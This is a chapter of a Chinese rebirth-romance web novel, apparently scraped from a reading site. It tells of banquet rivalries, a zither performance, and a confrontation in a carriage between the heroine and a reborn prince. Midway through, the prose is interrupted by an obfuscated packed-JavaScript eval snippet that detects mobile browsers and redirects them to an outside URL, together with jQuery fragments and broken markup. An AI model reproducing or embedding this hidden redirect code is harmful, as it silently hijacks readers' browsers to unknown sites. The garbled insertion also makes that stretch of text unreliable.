43. 何来良配

    褚元唐面色冷淡,看了一眼屋内,视线缓缓落在崔莞言身上。


    沈明宜一见褚元唐进来便面露敌意,朝他略略行礼后,故意扬声道:“哥哥,你怎么也来了?正好莞言也在,我们一道坐坐。”


    “嗯。”沈霆之应了一声,转头看向崔莞言:“许久不见,莞言妹妹近来可还安好?”


    崔莞言轻颔首:“托霆之哥哥的福,一切安好。”


    沈霆之应了一声,在她侧旁坐下。


    两人坐得本不算近,可一经他坐定,她那身形却像是顺着光偏了半分,未到贴近,只是语气温柔起来了。


    “正厅人多,我带殿下来这里稍歇。莞言妹妹坐这儿不会觉得闷吧?”


    崔莞言轻轻摇头:“有霆之哥哥在,哪里会闷?”


    她心绪本未起波澜,可一见褚元唐步入厅中,过往种种骤然涌上心头,不自觉地便起了几分较劲。


    上回说她与沈霆之相配,她没当场发作,如今倒要叫他亲眼看看,他们到底如何相配。


    沈明宜坐在一旁,眼角余光频频扫向褚元唐,语气却越发活泼,像是故意点将:“哥哥近来总念叨莞言姐姐呢,说要不是公务缠身,早就去国公府探望了。”


    沈霆之双颊浮现一抹尴尬的红色,张了张口,想解释却又不知从何说起,只得干笑着道:“哪有这么夸张,是明宜胡说。”


    崔莞言嘴角噙着笑意,反倒轻轻倚近了沈霆之半分,嗓音温柔:“霆之哥哥若真有心,我自然欢迎。”


    这一靠,这一声“哥哥”,足够让旁观之人心头刺紧。


    褚元唐本没打算久留,可目光落在她倚近沈霆之的身影,心中那道压了许久的火竟莫名腾起。


    沈明宜心中暗喜,假作无心地伸手轻推了崔莞言一把,口中笑道:“莞言姐姐,你靠那么近,哥哥都不好意思了。”


    她话未落,那一推却用力过了头。


    崔莞言一个踉跄差点栽倒,好在沈霆之反应极快,立刻扶住了她的手臂:“小心!”


    崔莞言尚未言谢,目光却已悄然掠过身侧。


    褚元唐站得不远,面色如常,连余光也吝于分来半寸。


    唇角一抹冷意轻轻漾开,她不动声色地偏头,对沈霆之笑得更柔:“幸亏有霆之哥哥在,不然真要出丑了。”


    说话时,她下意识靠得更近几分,甚至抬手拍了拍沈霆之的手背。


    “霆之哥哥素来照拂明宜,如今也算是……多照了一人。”


    沈霆之只觉她脸上有未明的情绪,一时间不知如何回应。


    “啪——”


    清脆的瓷声倏然响起,在石板上碎成数片。


    沈霆之惊愕回头:“殿下?”


    褚元唐低头拂了拂袍角:“手滑。”他扫了地上一眼,淡声道:“叨扰多时,先行告辞。”


    言罢,拂袖而去,袖下似有鲜红一点渗出,却始终没转头。


    角门处,谢清菱立在阴影之中,早将整场对话看得清清楚楚。


    若非亲眼所见,她几乎不敢相信,那个平日里总装得端庄清冷、一副不食人间烟火模样的崔莞言,竟也会有这般投怀送抱的姿态。


    真叫人作呕。


    -


    沈家世代簪缨,以清贵自持,素来行事极重规矩。


    寿宴虽不设宫中仪节,却也一应齐整,满堂宾客皆依身份落座,男宾与女眷分列左右,前庭雅座、后厅设宴,细致得无可挑剔。


    来贺者多为朝中旧识与世家亲友,其中不少熟面孔皆是文臣之后,礼数周到谈吐文雅,便是年轻一辈,也无甚妄言轻举,越发显出沈宅门风之肃。


    席间小声交谈间,也不乏好事之人向来客低语:“那位是国公府的二小姐罢?听说自小养在封州。”


    “哦?可今儿看着倒也体面,礼数周全得紧。”


    “是啊,太后都夸过,可见那位二小姐如今在府中有多受宠。”


    说者无意,听者却多了几分意味不明的笑意。


    其中数道目光不约而同落在不远处那位静静坐着的少女身上。


    姿容端丽举止沉稳,话虽不多,偏生叫人难忽略她的存在。


    主位上,沈家老太夫人面带喜色,频频向两旁宾客举杯。


    席间寒暄几轮后,便有小辈起身献艺。


    谢清菱端坐女眷席上,眸光却始终掠向催莞言的方向。


    今日她风头太盛了。无论是宾客的奉承,还是沈霆之对她温言软语的模样,都叫她心中不痛快。


    她握紧了手中的帕子,扬声道:“这席间才子佳人不少,既是寿宴,若无琴音点缀,岂不辜负了这良辰美景?”


    沈老夫人正笑,顺势点头:“是极。可有谁愿为老身抚琴一曲?”


    “莞言妹妹从小便聪慧过人,想来琴艺也是极好的。”


    坐得近的几位女眷面面相觑,有人低声道:“她不是从乡下回来的吗?”


    “封州那等地儿,哪来琴教?”


    “这谢氏难不成是想叫崔小姐难堪?”


    一时间,众人眼神纷纷落在崔莞言身上。


    沈明宜忙扯了她衣袖:“清菱你——”


    谢清菱却神情天真:“我只是听说莞言妹妹颇得老太太宠爱,定是琴棋书画样样精通,若有错处,那是我记混了。”


    众目睽睽之下,崔莞言终于起身,朝沈老夫人一礼:“老夫人想听,我便抚一曲献寿,也算略尽心意。”


    很快,一张古琴早被抬了上来,几名丫鬟点香焚炉,屋内盈满一股清雅香意。


    崔莞言行至琴前落座,玉指拂过琴弦,琴声起,如泠泠泉水落玉盘,起初只是细雨入林般的浅响,待她双手齐落,指法灵动间韵律骤然流转,一派空山新雨后的澄澈意境,便随着急缓分明的音律缓缓展开。


    厅中人皆屏息聆听,连呼吸都不敢重。


    唯谢清菱面色僵硬,难以置信地望着那端坐琴前、姿态安定的身影。


    怎么可能?她怎么会弹得这样好!她分明从未学过!落在崔莞言身上的赞许目光,像耳光似的抽在她脸上。


    褚元唐原坐在不远处,一贯慵懒的神情中,此刻却带着晦暗,视线紧紧锁在那抚琴的手上。


    前世婚后不久,她日日独坐厅中苦练琴艺,只为有朝一日能在宴中不失礼数,博他欢心。


    可他那时只觉她徒劳可笑,从不曾听过她弹过一曲。


    如今再听,才知她练得如此之好。可笑他前世,从未认真看过她一次。


    曲终,最后一声音落,犹如风过水面,久久不散,满厅爆出掌声一片。


    “崔家姑娘竟有此雅艺,真是失敬!”


    “这指法分明不是一朝一夕练得出来的。”


    “竟还藏着这等才情……”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376423|177703||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    沈老夫人也笑得合不拢嘴:“好,好一曲清平调,难得莞言这般有心,老身欢喜得很!”


    众人皆赞,只有谢清菱满面煞白,坐也不是,走也不是。


    崔莞言起身谢礼,神情平静从容并无半分炫耀之意,只是途经谢清菱身侧时添了一句:“我本不欲献艺,若非二嫂提醒,险些错失良机。”


    谢清菱扯出一抹笑,笑意却比哭还难看。


    -


    寿宴散席时,天色已暗。


    崔莞言未等崔时,独自上了马车。


    车行不过一刻钟,马忽然嘶叫一声重重一颠,紧接着是压低的叫喊与几声闷响。


    马车停下了。


    你外头看不见人影,唯有车夫歪倒在前。


    片刻后,车帘自外被人拉开。


    夜风灌入的瞬间,她见褚元唐站在车外,目光压着火。


    “这般拦路,殿下是打算劫人?”


    褚元唐出了沈府原想离去,可看到她的背影便不自觉跟了上去。


    他有太多事想问她。


    抬脚上车,帘子在他身后落下,外头风声一收,马车仿佛隔绝了整个世界。


    车厢里一下子逼仄了许多,崔莞言像没看见,低头整了整袖口:“殿下既拦了车,总不会只是想看我坐着。”


    “你要进宫?”褚元唐问。


    崔莞言抬眼,眸光冷静得近乎漠然:“殿下果然消息灵通。没错,我就是要入宫。”


    褚元唐倏然动了,抬手扣住她肩膀,想从那双眼里找一个答案,可是,他只看到空洞的一片,没有留恋悔恨,更没有他。


    “崔莞言,天底下有的是良配,何必选那条路?”


    “良配?”崔莞言慢条斯理地抬起头看他,“沈霆之吗?”


    他没应。可她已经笑了,替他这句不肯明说的劝告收了尾。


    “他确实是良配,出身清白,行事周正待人有礼。若真与他成婚,旁人只会道一句‘天作之合’。可你有什么资格对我指手画脚?”


    “你忽然变得这么在意,是从什么时候开始的?是在建州?还是回京后?还是……你重生那天?”


    褚元唐松了手,眼低的光一下子淡退了。


    她知道,她什么都知道。这一路他安排下的人,柳枝的回禀,从来不曾落空半句。可现在细想起来,有多少是她故意引他看见?又有多少,是早就料准他会查?


    他很想问,建州那夜他伤得那么重,她心里是否真有过几分快意。


    “我出门去哪儿,跟谁说话,甚至连我坐在谁身边,你都一清二楚,你以为你藏得很好,褚元唐,可我早就看透了。”


    崔莞言并不后退,反倒朝褚元唐逼近了几分,面带戏谑地挑起他的下颌。


    褚元唐并不挣脱,任由她如同欣赏待宰的猎物一般恣意,抬手轻轻拢住她的指尖。


    “你什么时候知道的。”


    “建州城外的第一眼,褚元唐,你可从来不用那样悲悯的眼神看我。”崔莞言抽开手,笑了一声,像是说起起什么天大的笑话。“我真没想到,你这样的人也会愧疚。”


    她偏过头不去看他,“别以为为我做事就能弥补。”


    褚元唐不甘心地伸手强行扭过她的脑袋,眼神却已近乎恳求。“我可以为你做任何事,只要你肯原谅我。”


    “如果我要你去死呢?”